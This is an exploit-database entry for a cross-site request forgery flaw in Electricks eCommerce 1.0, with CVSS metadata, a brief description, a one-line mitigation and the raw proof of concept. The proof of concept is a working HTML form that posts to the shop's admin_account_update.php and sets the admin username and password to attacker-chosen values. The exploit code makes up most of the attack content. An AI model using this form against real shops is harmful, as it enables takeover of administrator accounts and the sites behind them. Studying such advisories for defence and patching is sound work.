Electricks eCommerce 1.0 - Cross-Site Request Forgery (Change Admin Password)

vendor:

Electricks eCommerce

by:

Nawaf Alkeraithe

8.8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: Electricks eCommerce

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: electricks

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2018

Electricks eCommerce 1.0 – Cross-Site Request Forgery (Change Admin Password)

Electricks eCommerce 1.0 is vulnerable to Cross-Site Request Forgery (CSRF) which allows an attacker to change the admin password. An attacker can craft a malicious HTML page containing a form with the necessary parameters to change the admin password. When the admin visits the malicious page, the form will be automatically submitted and the admin password will be changed.

Mitigation:

Implementing CSRF protection tokens, validating the HTTP Referer header, and using SameSite cookies can help mitigate CSRF attacks.

Source

Exploit-DB raw data:

# Exploit Title: Electricks eCommerce 1.0 - Cross-Site Request Forgery (Change Admin Password)
# Date: 2018-11-12
# Exploit Author: Nawaf Alkeraithe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/_billyblue/electricks.zip
# Version: 1.0

#PoC:

<html><form enctype="application/x-www-form-urlencoded" method="POST"
action="
http://localhost/Electricks/Electricks/Electricks-shop/pages/admin_account_update.php"><table><tr><td>user_id</td><td><input
type="text" value="4" name="user_id"></td></tr>
<tr><td>firstname</td><td><input type="text" value="admin"
name="firstname"></td></tr>
<tr><td>lastname</td><td><input type="text" value="admin"
name="lastname"></td></tr>
<tr><td>email</td><td><input type="text" value="admin@admin.com"
name="email"></td></tr>
<tr><td>username</td><td><input type="text" value="admin"
name="username"></td></tr>
<tr><td>password</td><td><input type="text" value="NewPass"
name="password"></td></tr>
<tr><td>update</td><td><input type="text" value="" name="update"></td></tr>
</table><input type="submit" value="Change Admin Password"></form></html>